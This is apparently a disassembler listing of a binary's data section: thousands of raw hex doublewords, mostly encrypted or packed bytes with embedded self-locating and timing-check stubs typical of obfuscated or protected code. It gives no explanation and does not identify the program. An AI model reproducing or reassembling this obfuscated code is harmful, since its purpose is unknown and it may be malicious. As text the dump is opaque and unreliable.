439D6682h, 5012B8C3h, 0CEDF152Ah dd 0A86CD24Eh, 458AFD4Ah, 0D5F251A2h, 52FE46C0h, 0A8ED96A4h dd 458A152Ah, 67A02429h, 0BAB496E3h, 54A1D5ADh, 0C6CB152Ah dd 0BA415564h, 0CE75EAD5h, 0B13AAE63h, 848C0534h, 11AB5342h dd 55FFEA22h, 0ABA4245Dh, 0B9CF9C3Ah, 0A8EDDAC3h, 4586D7E3h dd 0D744DAF7h, 0CEEAE9EEh, 292359D7h, 0B9CFD226h, 54A851A2h dd 4162AD6Ch, 660351A2h, 0EE27BFEAh, 0DDA7DB2Fh, 9475133Dh dd 0D9020112h, 52031AA0h, 0EC79AEA4h, 41AE51A1h, 5B22DC09h dd 0BA8C02A3h, 0DF103773h, 0C821732Ah, 43215E28h, 0FD5BEA2Ch dd 508C152Bh, 4A009881h, 0ABAE462Bh, 0EFD2A5FBh, 0DDA42C89h dd 0CEEBE957h, 9661ADE7h, 0CEDF1522h, 0A86CD24Eh, 458AFD4Ah dd 0D5F251A2h, 52FF06C0h, 5CDDDAA4h, 828668A1h, 54A8ADE7h dd 0BACC152Ah, 44B4F030h, 0CE529E2Ch, 9783FC69h, 0EFE2A5B9h dd 0D9F9FA31h, 52031AA0h, 0D79AEA4h, 2320949Ah, 328C551Ah dd 6E218481h, 29215DDFh, 174D6h, 5C6A985Eh, 0A901402Ah dd 34549521h, 458A15C2h, 0BE290BA2h, 439D6040h, 0DFA02429h dd 4D1957h, 54A8515Eh, 0D775532Ah, 52B84D03h, 0CE19CDA1h dd 979BFC69h, 0EFE2A5B9h, 0D9F9FA31h, 52031AA0h, 0D79AEA4h dd 2320949Ah, 328C651Ah, 6E218481h, 29215DDFh, 174D6h dd 5C6A985Eh, 0A901402Ah, 34549521h, 0CE8260A1h, 116F5DDFh dd 458A15D6h, 953BFDA2h, 97B91DC9h, 0DE049191h, 454A38F2h dd 0A82851A2h, 5E0E1AD5h, 0EDA851A2h, 458A1523h, 862DA055h dd 45869025h, 0A32851A2h, 8E4B7332h, 972337AAh, 38A1BE4Ch dd 0A8D5D8AEh, 0B9CF9E4Bh, 54A0936Bh, 0C6669E7Fh, 0DFC8AD66h dd 38011D5Fh, 0A8ED96AEh, 458A152Ah, 0B769C20Eh, 76582622h dd 8C22FD62h, 458AD507h, 0AB54D1A2h, 45939125h, 5D1151A2h dd 0B28A152Ah, 5B7AD453h, 458A1FAFh, 5610E0A2h, 0EF4B93E2h dd 7F039191h, 38031957h, 1123305Eh, 4D48DCD6h, 0B82304A2h dd 2576D1A9h, 0DFA02429h, 4D1957h, 54A8515Eh, 9D00B92Ah dd 0D4A7B222h, 860085E1h, 5B22DC08h, 0BA8C02A3h, 0FEF8E173h dd 0CC859FA7h, 855757B5h, 6E20D6A0h, 29215DDFh, 174D6h dd 5C6A985Eh, 0A901402Ah, 34549521h, 0CE8260A1h, 116F5DDFh dd 458A15D6h, 54AFE9A2h, 0D775152Ah, 52B84F47h, 0C8204526h dd 43215E28h, 0F55BEA2Ch, 949BFB2Bh, 2E853186h, 50AC5962h dd 0EFAEA580h, 0DDA42C89h, 0CEEBE957h, 9661ADE7h, 0CEDF1522h dd 0A86CD24Eh, 4DFF9E4Ah, 93A42C29h, 458AE96Fh, 0FE0451A2h dd 592B87D5h, 8C2357B2h, 0EF491786h, 0DDA7DB2Fh, 9475133Dh dd 0BD28E9C4h, 8600BE4Ch, 58D57A08h, 247668A3h, 9D541429h dd 108A1DE8h, 902BBD29h, 300175D6h, 58D5DAAAh, 457650EDh dd 0F8A851A2h, 0E418EA80h, 0DFAE41BEh, 8558B9E2h, 5B32DC08h dd 0BA8C02A3h, 94103771h, 0CF2173E3h, 2983FB63h, 0B9F79C26h dd 0A8EDDAC3h, 4582D7E3h, 0D744DAF7h, 0CEEAE9EEh, 292359D7h dd 0B9CFD226h, 54A851A2h, 0D775BF86h, 52B84D03h, 7726DDA1h dd 0CE25FB63h, 439D9C25h, 0ECCE825Dh, 0EEECE4AAh, 7F029028h dd 38031957h, 1123305Eh, 4D48DCD6h, 0B82304A2h, 2576D1A9h dd 0DFA02429h, 4D1957h, 54A8515Eh, 7732732Ah, 0D903376Bh dd 52031AB0h, 327BAEA4h, 234B9592h, 0FE04FD09h, 0CC866801h dd 0DFC9ADDFh, 8743E96Fh, 0DFFD51AAh, 0B94E96C6h, 5CDDDAC2h dd 828668A1h, 54A8ADE7h, 0FDEC152Ah, 0FFCEB824h, 0CC858FA7h dd 875757B5h, 320A09Ah, 0CE25FB0Eh, 439D9C25h, 0ECCE825Dh dd 0EEECD8ACh, 0DDA42C89h, 0CEEBE957h, 9661ADE7h, 0CEDF1522h dd 0A86CD24Eh, 458AFD4Ah, 0D5F251A2h, 52F22EC0h, 0A8ED96A4h dd 458A152Ah, 0DFA02429h, 79261957h, 1E2C5E91h, 798A152Ah dd 162C5E89h, 798A152Ah, 492C5ECAh, 798A152Ah, 382C5E13h dd 798A152Ah, 5C2A5EF2h, 798A152Ah, 6B2A5EFAh, 0AC8A152Ah dd 54A851D6h, 0BA8660D5h, 0CE2559D7h, 439D665Ah, 1332DCF1h dd 0BA8C025Eh, 0A8EDD871h, 458A42C3h, 58DDAEA2h, 0C88260D5h dd 43DBD138h, 0DF07462Ch, 52BF25E5h, 3C6D5h, 5492B85Eh dd 3075152Ah, 5CDDAEAEh, 36068FA7h, 0D9FB57B5h, 52FE52B0h dd 0DD7BAEA4h, 5863E96Fh, 0ABA851A2h, 3075195Fh, 0CC32DCAAh dd 168C0259h, 20EFCB2Fh, 9675133Dh, 0BD54142Bh, 458A152Ah dd 0A8EDDAC3h, 4582D7E3h, 3044BAh, 0C00CEB00h, 0F355F392h dd 955E6572h, 0E992D690h, 662h, 656E9h, 2F721400h, 0D44FC7Bh dd 0EA23CA51h, 744E76Eh, 0E120C453h, 0D1037F6Dh, 0ED6CE01Fh dd 0B83FFB3Ch, 0D463D712h, 4742F62Bh, 50CB675h, 0BE86BDBh dd 44793241h, 900DE50h, 6DCC7CB9h, 6FEC015Dh, 83FE5BBh dd 0F0A138ECh, 20C4C3AFh, 755F9D46h, 0E5DEA77h, 3B37EB07h dd 0B86C6B17h, 590E8D79h, 6D1C421Ch, 6DCC4CD5h, 4CA61C0Fh dd 0E23E6DCCh, 0F151382Ah, 156DCC4Ch, 5E203D19h, 0C480C267h dd 154697DCh, 2B203A16h, 933FB620h, 84F3C80Fh, 6C834C71h dd 0BE0407D9h, 566DCCA3h, 8A01FDDAh, 0AD1ABE2h, 0FC782C61h dd 43D21FDFh, 0D27349FDh, 6581E591h, 0BF91B5B1h, 0CDE2ACA1h dd 0E2AE7E7Dh, 14B81E05h, 0E84467F7h, 0AFE89D3Ch, 4C3F21FBh dd 942514F6h, 9BD0770Eh, 7419A2B7h, 14FC4645h, 1C189425h dd 14FB4742h, 3F1B9425h, 0E3FD6F23h, 14B40EFDh, 0D4509425h dd 25149D25h, 0E0FD7994h, 0C157E223h, 0F433D528h, 0AAE58900h dd 851C03F6h, 0A43B6437h, 4A8C2922h, 97F8C9CFh, 1B54F9C2h dd 8DB3429Fh, 30BBA0D7h, 921A2F06h, 5554264Ah, 0C1F249F5h dd 0F611511h, 8358994Ch, 63D712B8h, 0FFF32ED4h, 0B4E01958h dd 56EDD64Bh, 6CE01BCFh, 1DB0017h, 87BAE10Ah, 0DE5D8320h dd 873BEA2Bh, 3D2CA70Eh, 0A70EF44Eh, 5C14102Ch, 0B4139FF7h dd 3D195343h, 0ECFE5A20h, 8AB1712h, 0B0162CA7h, 7F9AA74Bh dd 4BBD2CAh, 233F23CFh, 0B5115846h, 582CA794h, 9061841Bh dd 70F1FF4Dh, 0Ch, 0DE15CB8Eh, 88404309h, 8C000003h dd 55417C32h, 6DAC60DBh, 0E9FE37EEh, 8E82BB72h, 7D26B587h dd 0A2BEF9ADh, 0C65572EEh, 0E9C2AB2Fh, 0DCA86A1Dh, 47FBAEC0h dd 9F6DCC6Ch, 792DA6C3h, 0ABC7FCA3h, 0C702A82Fh, 251BB8B5h dd 423E1D40h, 0F5E2017Ah, 0E6032561h, 26054638h, 990331F0h dd 0CC96805Dh, 0AC750CB7h, 7CC6C5F6h, 986DCCD0h, 7504B89Ch dd 88C597D0h, 5B111BB0h, 0C7F47024h, 0B190DACBh, 4E01A611h dd 0BC6A7F63h, 792D6A1Dh, 27CA916Fh, 0E99B3AE6h, 567AF6AAh dd 0C703A281h, 5F134EF4h, 0B86DE603h, 1A20A289h, 68C46DCCh dd 10043BF1h, 2D1E3014h, 0FAA0C4B7h, 0CD916609h, 0B87C0F1Eh dd 41E675F1h, 37141004h, 7789C87Ch, 0E023FE4h, 0FA813512h dd 6B6A1657h, 230270BAh, 2EE221C3h, 0AC9F0532h, 21458026h dd 851E5145h, 65A647EEh, 0D480E9h, 0B9800000h, 2A02D718h dd 421CC35Ch, 53C20009h, 7E5B0305h, 2D620980h, 4A832AB1h dd 0B355E456h, 16AC5774h, 346DCC5Fh, 0DD65243Ah, 396DCC5Fh dd 8420D734h, 7EB5C75h, 73B251F2h, 92BB95CEh, 0B1F71168h dd 249AAF4Eh, 0BFB3F495h, 36EA1FC8h, 0AE62D983h, 2AC95A6Fh dd 47195A0Bh, 440B1B06h, 688523DFh, 0EAC667EEh, 3BE70B42h dd 0D66C1F41h, 2E6DCC29h, 0CBB7F497h, 17CC8B67h, 9236FDDAh dd 80289F53h, 863E5D49h, 3B4A34Fh, 3BF6606Ch, 8BCC7DA4h dd 65A448CFh, 0BD6AFDB1h, 578C3309h, 0F7ABC7ABh, 38EC2DE0h dd 507C13AEh, 83A241D0h, 0AF26A2E1h, 85D4C0FBh, 6DCC2938h dd 38F99827h, 0F9E35792h, 299E24E7h, 55546DCCh, 6DCC29EDh dd 0F9752D09h, 7C3248E4h, 90365541h, 822AA155h, 8740574Bh dd 7D349E52h, 7E1DDAE6h, 4D883EE7h, 141DA91h, 46396DCCh dd 336B2E6Ah, 0FFFF074Ch, 0BD5CBEFFh, 3C5D4C1Eh, 0CA67FC0Ch dd 11C8A24Eh, 0EF731F60h, 75AA61DAh, 548942B9h, 498629A0h dd 0E281225Dh, 14CC9C43h, 0B645F9DDh, 7D2CD80Dh, 94238CC0h dd 4AEB8A19h, 0C7926CA1h, 490DEA21h, 0AE419D2h, 0B5619A4Fh dd 90EA9CB1h, 39ED22C9h, 36BD203Dh, 3BE0CBA5h, 0CB9E13D6h dd 6F86DB4Fh, 3BEE1BD1h, 9E13BA87h, 3DF035Fh, 339442E9h dd 304E9428h, 431C979h, 1C312D80h, 7F160A66h, 7854F5CBh dd 84E094D5h, 0B7027B60h, 8C72D051h, 0C165F468h, 534A087Dh dd 0BFA36BBDh, 0AA4384D3h, 33C43CE0h, 1BF1959Ch, 58532D66h dd 0F4282DEAh, 76320E0Ah, 386F15A4h, 0B4F59823h, 0EA25C9C0h dd 0ED136D36h, 282D843Eh, 0DDEF2BF4h, 1E694A6Ch, 46D5F26Eh dd 71874AAFh, 0C0679986h, 59000000h, 3EF2EE2h, 0C4A0E184h dd 4D71DA7h, 8E45225Fh, 0A0CD9FD6h, 0CA27C534h, 0F9BD9AC5h dd 1692CB82h, 0FBAFEC9Fh, 9893C87Ch, 6DCCA52Ah, 0B6724ECAh dd 0DA4E8D3Fh, 0F569AA5Bh, 9C8FC066h, 6DCCA526h, 6C7E62BEh dd 5BD6C92h, 0E16DCCA5h, 0A52C9685h, 63C86DCCh, 0ECCA58Fh dd 0B76E52A2h, 3A04D912h, 5BCF04BBh, 16AC5F81h, 276DCC67h dd 0D7534B80h, 62973902h, 10F734D7h, 6DCC67B2h, 0A85FD652h dd 0B8A34F73h, 0FF34EBEAh, 53F28113h, 5A845A66h, 0CC6713AFh dd 6277F36Dh, 0CC6719A9h, 0AD21FD6Dh, 97F3E4C2h, 49000000h dd 7C68CBE0h, 29D86DCCh, 0E289508Ah, 84F6D0ADh, 2DD90EB5h dd 32983449h, 1087437Ah, 2DAC2059h, 9F813D7Ah, 533F0CAEh dd 0F1989A2Dh, 0F4BF9CB8h, 1E9D1150h, 28AF2B6Ah, 11884485h dd 0C57D2C5Dh, 216DCC68h, 8C4F2145h, 8DE99DD4h, 0EA14E670h dd 0CC68833Fh, 0F207636Dh, 738DC269h, 11E5427Ah, 638819DCh dd 8316B049h, 4E08E541h, 25D5h, 0C805DB00h, 2D830CD0h dd 0FE443392h, 166DCC70h, 0CD3D2D1Ah, 82E9E216h, 215FDF65h dd 7CF64C3Fh, 120E6DCCh, 80326F35h, 9952493Dh, 7519B064h dd 9E4F463Ah, 7E32A95Dh, 9034533Fh, 8126A551h, 94395044h dd 7830A75Bh, 51CF5541h, 0C181E189h, 4, 4BB53h, 0D9290000h dd 240C875Bh, 0E389535Ch, 4C381h, 0EB810000h, 4, 5C241C87h dd 68243489h, 7482h, 55241489h, 17791E68h, 0EE895D06h dd 4EC815Dh, 89000000h, 4832424h, 815A0424h, 4ECh, 24348900h dd 0E242C81h, 8F06D651h, 42810842h, 0D6510E08h, 2434FF06h dd 4C4815Ah, 0FF000000h, 835E2434h, 0FDE904C4h, 4FFF900h dd 0B8E13AEFh, 6177EF4h, 0D38BC503h, 2AE9h, 2404C700h dd 0 dd 0E8h, 0ED815D00h, 6177F8Eh, 424448Bh, 19118589h, 0B80610h dd 8D000000h, 104E858Dh, 0B8E1FF06h, 6754h, 16EBh, 4 dup(0) dd 1010000h, 430h, 6A0617h, 3E850h, 58200000h, 448958C3h dd 44810424h, 160424h, 50400000h, 0BBA83C3h, 0B5896060h dd 6102025h, 96F38166h, 0B70F618Ah, 0E95061C6h, 9, 1E1D438Bh dd 39B3AA3Ah, 240489E1h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 1Dh, 0E3C35545h, 0E5D32AC3h, 9A5D8C5Bh, 0DF8166D2h dd 6A2ED5h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 16h, 0D6C35242h, 0BF66B7C8h, 6A4B5Dh, 0E857006Ah, 3 dd 5FC35F20h, 4247C89h, 4244481h, 1Ah, 0A1C35747h, 6F5AE042h dd 858DE143h, 6178145h, 3820Fh, 0BF0F0000h, 8D0F90F8h dd 0 dd 860F50h, 90000000h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Ah, 0E6C35343h, 9CAA3D23h, 6AF3D8h, 0DE5EBA60h dd 8D8945BDh, 6101FA9h, 6A006A61h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 1D042444h, 43000000h, 0A876C353h dd 93E6B22Bh, 77A5CF49h, 0C8D0Fh, 820F0000h, 6, 6058D03h dd 8B660610h, 1995FFFAh, 0B706101Dh, 562E9E6h, 6A0000h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h, 55450000h dd 0F87B5DC3h, 68A0Fh, 8D0B0000h, 6102309h, 0E8h, 0ED815D00h dd 617814Ah, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 19h, 48C35141h, 2CB2621h, 6AE5B50Bh, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 17042444h, 41000000h, 3865C351h dd 0BD8B5444h, 6101C99h, 4E8h, 0FA000h, 0BE85100h, 6000000h dd 0E11756D6h, 0B072A28Eh, 7E8B2F8h, 0C6000000h, 1A81BEE0h dd 5A5A743Fh, 0F88B505Bh, 424448Bh, 310F5250h, 0F6BF5250h dd 0F476EB2h, 5299B931h, 585A2D17h, 8B585Ah, 10E8h, 0CA525100h dd 1DB7470Eh, 4AC47CAAh, 0C294CFB2h, 0DE963h, 0EF1E0000h dd 9BBBC734h, 41669E13h, 5BC6AEC9h, 4244489h, 4860Fh, 60600000h dd 52586161h, 860Fh, 0FF5B0000h, 1031C995h, 0A8E28006h dd 7FB3B58Dh, 8B660617h, 5206C7D0h, 0BF6D6765h, 7C80DDF7h dd 0EE8h, 0A9010100h, 0FCF2A1FAh, 2026B4BFh, 0E8AB32E4h dd 7, 0E2441EDFh, 669F34A7h, 5AA617B9h, 446C75Fh, 6C636E6Fh dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 21C35545h dd 95BA66ADh, 846C7DBh, 737361h, 9537C381h, 6A586Bh, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 0C9C35545h, 0B5896FDFh dd 6102AE9h, 7FB3858Dh, 6A0617h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 160424h, 53430000h, 0C32E7DC3h, 1CC99D8Bh dd 50900610h, 0FCC8A52h, 10E931h, 26040000h, 61DAE570h dd 0CD5E6169h, 16C959CFh, 585A6AE9h, 52505250h, 310FDD8Ah dd 5ACA8B66h, 33905B58h, 1015A98Dh, 18F0F06h, 0F5000000h dd 22D595FFh, 6A0610h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 150424h, 52420000h, 605326C3h, 0DE9h, 0AF316A00h, 19D58F88h dd 0DB8D755Eh, 850F1545h, 6, 16FD8D23h, 0B610610h, 30840FC0h dd 3000000h, 1012C1BDh, 2A6E906h, 6A0000h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 150424h, 52420000h, 52D695C3h dd 6723DF81h, 68590B86h, 0E2DB699Eh, 0F505250h, 8Bh, 310F5900h dd 295B3AB9h, 81585A22h, 978E2404h, 0FF81D24h, 95FFD0B7h dd 61031C9h, 6558D8Bh, 0B58D0610h, 6177FB3h, 72A2F5B9h dd 3106C723h, 6A363438h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 18042444h, 42000000h, 6571C352h, 66BCDE50h dd 8BDD86B9h, 446C7D6h, 31342D37h, 0E79BD8Bh, 8B0F0610h dd 8, 2850Fh, 0FE8B0000h, 846C7h, 6A000000h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1A042444h, 45000000h dd 7351C355h, 0FDAC27B1h, 6AF578h, 0B5B52952h, 5F061021h dd 7FB3858Dh, 0B5890617h, 6102F35h, 8B5036B3h, 240489FBh dd 0A658D8Bh, 95FF0610h, 61022D5h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 18h, 3BC35747h, 0E3981457h, 840FC00Bh dd 32h, 6D44DB81h, 79E94CCDh, 6A000001h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 17042444h, 47000000h, 8B35C357h dd 9D011982h, 61013D9h, 4E840B3h, 2C000000h, 66000001h dd 8B50CA8Bh, 0E8042444h, 9, 784AEADAh, 0F04E443Ah, 8B52508Fh dd 0BB310FDFh, 7ACF8874h, 8B5F585Ah, 89DA8B00h, 0BF042444h dd 59ACFAD4h, 0F9BF0F58h, 31C995FFh, 0F5600610h, 23098589h dd 8D610610h, 177FB3B5h, 0D38B6606h, 694606C7h, 8D33656Ch dd 61010C9h, 6D0446C7h, 29636E6Fh, 102E5D95h, 846C706h dd 7373616Ch, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 18h, 51C35343h, 16FCFB83h, 0C46C7h, 66000000h, 0DF03E381h dd 0D98B006Ah, 7FB3858Dh, 81660617h, 50180DF1h, 4896CB6h dd 55006A24h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1D04h dd 0C3554500h, 0BAA1B2FCh, 9CE0B491h, 9504C2Eh, 101DB1B5h dd 95FF5F06h, 61022D5h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 18h, 54C35545h, 0D22A40C0h db 33h byte_5C3A41 db 9Dh, 51h ; DATA XREF: ___:off_438438o byte_5C3A43 db 1Ch ; DATA XREF: ___:off_43A570o dword_5C3A44 dd 0C00B0610h, 0C840Fh, 8D890000h, 6101E01h, 2FE9h, 51E9FC00h ; DATA XREF: ___:off_43A568o dd 6AFFFFFBh db 0, 53h, 0E8h db 3 dd 20000000h, 895BC35Bh, 8104245Ch, 15042444h, 43000000h dd 80C353h, 1C7D8531h, 9D890610h, 6101D25h, 73A3B58Dh dd 81660610h, 98366E1h, 1031618Dh, 0B806h, 6A0000h, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 160424h, 51410000h dd 7E9903C3h, 134D8D89h, 0E6FF0610h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 1Ah, 0A5C35141h, 0C5B557A2h, 7AB5B031h dd 6E8C18Bh, 6E000000h, 92FF0277h, 1DBD8B9Fh, 5A061017h dd 0C28116B5h, 6D4Dh, 0C458D8Bh, 680610h, 66000000h, 0F58C88Bh dd 682h, 259D2300h, 0FF06100Fh, 9D891034h, 6102E69h, 0FB8B665Eh dd 4D56C681h, 0B5315F00h, 61006B5h, 4C37EE81h, 8B607B32h dd 1008D58Dh, 0C1BD2906h, 6106101Bh, 6B15F681h, 8B0F6136h dd 0Eh, 7E8h, 0A0572700h, 0BCC7DFF1h, 8B565FFCh, 1013898Dh dd 2048F06h, 0F296E881h, 8B6607F6h, 92C081FEh, 6607F6F2h dd 817714B9h, 0FF9388F8h, 1F850FFFh, 89000000h, 100EE5B5h dd 2EE906h, 8CC90000h, 1BAD262Bh, 60C9ABEFh, 1F3D7688h dd 5E176D8Dh, 0BD8B582Bh, 610239Dh, 0FFFF66E9h, 5AD351FFh dd 0D7627D50h, 0F2F87003h, 0F08FFD2Dh, 75FDED55h, 76F67A5Eh dd 56E669A4h, 83FD49BCh, 0E1FD26F4h, 26FD26DAh, 84FD26CDh dd 76FD2644h, 6CFD2682h, 35FD2660h, 2AFD2611h, 1FD26A9h dd 4CFD26F5h, 5FD26DAh, 7EFD26CDh, 0DBFD2639h, 0B8FD2682h dd 85FD2660h, 41FD2611h, 95FD26D7h, 9DFD26F4h, 95358A25h dd 76D6A222h, 5CDE714Ah, 5CF44BBDh, 75FD7A5Ah, 75F57227h dd 74FD7997h, 73FD78CBh, 74F57DEDh, 74FC7BF3h, 75FC7B78h dd 75FD7ABCh, 76FD7A5Eh, 75A6ED8Fh, 75A6E227h, 75FD7ACBh dd 74FC7BE4h, 74FC7BF3h, 75F8B290h, 0F0701ABCh, 73EAF12Bh dd 0F251FFA6h, 0F0707C80h, 73EAF140h, 0F291FF6Ch, 0F0707CE5h dd 73EAF1B0h, 0F255FF35h, 0F0707C49h, 73EAF106h, 0F28DFF1Eh dd 0F0707CDCh, 73EAF00Dh, 0F289FF7Bh, 0F0707C6Eh, 73EAF33Ah dd 0F285FFD7h, 0F0707C38h, 73EAF30Fh, 0F281FF42h, 0F0707CF2h dd 73EAF35Ch, 0F27DFFF0h, 0F0707CABh, 73EAF057h, 0F271FFA6h dd 0F0707C80h, 73EAF31Eh, 0F279FF6Ch, 0F0707CE5h, 73EAF38Dh dd 0F275FF35h, 0F0707C49h, 73EAF026h, 0F271FF1Eh, 0F0707CDCh dd 73EAF0A6h, 0F261FF7Bh, 0F0707C6Eh, 73EAF0DEh, 0F25DFFD7h dd 0F0707C38h, 73EAF012h, 0F259FF42h, 0F0707CF2h, 73EAF03Ch dd 0F26DFFF0h, 0F0707CABh, 73EAF15Bh, 0F269FFA6h, 0F0707C80h dd 73EAF16Bh, 0F265FF6Ch, 0F0767CE5h, 73ED66D8h, 0F218FF35h dd 0F0767C49h, 73ED64CAh, 0F214FF1Eh, 0B69C7CDCh, 9D11F1B0h dd 75FD7AF2h, 8C17FB23h, 25FB6D34h, 0FDF53FD5h, 627A9EADh dd 0B7342291h, 23AC7ACFh, 20AD29B7h, 75FD7A1Ah, 987C2779h dd 73EAF3A6h, 0F296FFA0h, 0C87D7C38h, 73EAFDFCh, 0C5B409CFh dd 0B54B75E4h, 3589BAF9h, 0F214EF86h, 0FEBD7CABh, 7A452B96h dd 8AFD7A2Fh, 627A9302h, 1948F7CDh, 0F8FB6D62h, 9D50FCC6h dd 75FD7E4Bh, 76456FCFh, 8AFD7A5Eh, 627A93BAh, 1948F791h dd 0F8FB6D4Ch, 8A50FCD1h, 0BC1F2322h, 0F296F787h, 2DA07CABh dd 2CA32005h, 776D92ECh, 0CD4D7A97h, 8A5779C1h, 627A9F70h dd 9D3ED1F4h, 75FD7807h, 0CD9BC2DAh, 0DE9B5954h, 0F218EFD0h dd 0DE9B7C80h, 77959208h, 360B7AE5h, 6E8872F3h, 0F218EF86h dd 0C54D7CABh, 8AAD7954h, 627A9FBAh, 0F69B2091h, 7E9B7E2Bh dd 0B6561C27h, 75FF6B1Ah, 4E152979h, 2FFD7ABEh, 7B89A065h dd 913D59A5h, 0F5DF7094h, 0FE4DBA07h, 9D3ED183h, 75FD7B00h dd 77E1922Ah, 4EA77ABCh, 0C5120E84h, 0A916D049h, 75FCA77Fh dd 74BE8CCBh, 26D30FEDh, 75FF7B1Ah, 360B2079h, 548872BDh dd 6889A065h, 913D59A5h, 0F5DF7094h, 0FF4DBA07h, 906885B5h dd 2FFB6D75h, 51FD5F1Fh, 133F71DAh, 0E94DB9F5h, 74BD9285h dd 0F44D7A97h, 74359261h, 2D157AE5h, 0DEFD7AF2h, 75FC5791h dd 0DF60CABCh, 0DF61CA9Dh, 75FC5BC7h, 13451C97h, 9D561C4Ah dd 75FD7B43h, 75FD4C1Ah, 9D561C79h, 75FD7BB6h, 0B657E7EEh dd 9D57E69Fh, 75FD7A69h, 75FCF323h, 74BE8CE5h, 0C5F20FFAh dd 6515D0F9h, 0DFFD7ABCh, 7DF99EDEh, 0AA158448h, 0C5FD7A97h dd 0CD3ED056h, 75FD7AE2h, 0F214EF0Dh, 0C0707C6Eh, 73EAFD0Ch dd 7F518A5Dh, 0E002D02Ch, 73EAFD72h, 74E59208h, 254D7AE5h dd 9D5779F8h, 8A02844Bh, 75FC4354h, 7FA5CA5Eh, 0C53ED02Ch dd 274DD0C7h, 8BE19261h, 0CD9B851Ah, 0DE9B4BFDh, 8A036B91h dd 0DFA7CA43h, 0B65722EEh, 2257929Fh, 750C923Ch, 0FEA77ACBh dd 0F63F5122h, 77747E1Ah, 8A008B91h, 75059243h, 2D4D7A5Eh dd 0B6577925h, 0F29FFF69h, 0C87D7CDCh, 73EAFD87h, 0F8EC0FF3h dd 627AAEFCh, 61152ABAh, 9DFD7A5Ch, 75FD781Bh, 9D571A27h dd 8A028775h, 8A00C30Dh, 0DF9CCA0Dh, 0F29FF787h, 0C87D7CABh dd 73EAFD3Ch, 0F8F10F2Fh, 627AAE12h, 0DE152ACDh, 0B6FD7AE4h dd 75FD7E4Ah, 9C688579h, 0F8FB6D3Bh, 62714BC3h, 6DF9F029h dd 9C4DB93Dh, 9D562D61h, 75FD7A8Eh, 5E3AF1A8h, 7115F9BBh dd 8A3E7835h, 627A9FCBh, 514ACE29h, 0C1FF0E96h, 13F2CA74h dd 75C9924Eh, 9DAE7AF2h, 75FD7A27h, 0B5FEF0E6h, 0B5F179BEh dd 0B6577825h, 0F218EF68h, 917D7CDCh, 0F539FAEAh, 0DE9B7542h dd 5A15D12Eh, 2F028541h, 0B7D6BDD5h, 0FCF992ACh, 7345B995h dd 8AFD7ACBh, 627A9370h, 0BD60F7F4h, 0F8FB6DFEh, 0CD3E39A0h dd 75FD7A4Eh, 0F214EFD0h, 0B57E7C80h, 8935F1CEh, 0F218EF1Ah dd 97577CE5h, 0BE15B98Eh, 0FF028543h, 72D97B1Dh, 76778E5Ah dd 75FC6C7Fh, 0B61608CBh, 8908831Dh, 0F611F1A7h, 9D9D86BDh dd 75FD7ABCh, 3417FB04h, 0FCFB6DA3h, 0CF7D86EAh, 73EAFD2Fh dd 0EC7975E5h, 0CDFD7AF2h, 75FD7A73h, 0F214E843h, 0FCBD7C49h dd 627A97ADh, 0F835F191h, 62706F79h, 906F85E3h, 0FDFB6D75h dd 801F3C7Fh, 75FD6D04h, 987F795Eh, 35FB6DA8h, 0F8F4E01Ah dd 0B67E7CDCh, 22FEF3E1h, 75FD644Bh, 98777979h, 0F8FB6D3Bh dd 62718DECh, 2B598929h, 75FD722Fh, 9C6F85CBh, 0F6FB6D62h dd 85897E0Ah, 72447C71h, 7DFD7ABCh, 0C3F24B5Ah, 761EBBF7h dd 75FD742Eh, 44E172CBh, 75FD765Ch, 44F972F2h, 75FD61C0h dd 44F972BCh, 75FD66E7h, 44F9722Fh, 8A015B7Fh, 8980F334h dd 8980F184h, 9DADB93Bh, 75FD7A7Fh, 1102229Ch, 0FCA58E7Ah dd 0E9055E6Bh, 89D93E16h, 67C92CB3h, 0B6AD3A78h, 75FD7AF2h dd 75FD7A79h, 0FEA87ABCh, 75151AB2h, 2FFD7A2Fh, 0F8D59016h dd 0CF707CDCh, 73EAFD14h, 0CCF50F79h, 75FD7A71h, 0BC9CDE4Fh dd 26FD7E9Ch, 0F20CE7A2h, 497D7C80h, 71887BD3h, 771683BEh dd 203E82A9h, 9D9D96F2h, 75FD7ABCh, 1417FB04h, 0F8FB6DA2h dd 627A8B25h, 7D80F1CDh, 75FD725Ch, 145989F2h, 75F9B8B0h dd 8440F7DCh, 46FB6DD9h, 75F5C3EFh, 0DF0E7A97h, 0F89DB9AAh dd 627A8B58h, 74C2FBF4h, 0FC7B78h, 7182FBB0h, 74FC7B5Fh dd 9E04795Ah, 0B69C8296h, 8440F7ABh, 0CDFB6D62h, 75FD7AF3h dd 75FD72C0h, 145789BCh, 0FE3DF19Dh, 8B78F7EFh, 8AFB6D10h dd 0E8CA8BD0h, 11h, 5F0641EDh, 391406B4h, 85A922CCh, 0E1A13BD4h dd 8B6650F0h, 81585AD3h, 0E521D4CAh, 0D3C08126h, 0E90000D9h dd 14h, 0E8988340h, 90EF3AA5h, 0E384ACC0h, 5681E2E6h, 0B440EA58h dd 0BBh, 78E0F00h, 0F000000h, 185h, 3C8BF500h, 81D18B18h dd 797BBBC7h, 1FD1814Ch, 810B77C8h, 500389EFh, 0FE944h dd 458E0000h, 0C5B652Ah, 77914F93h, 0B759D54Fh, 78C7816Fh dd 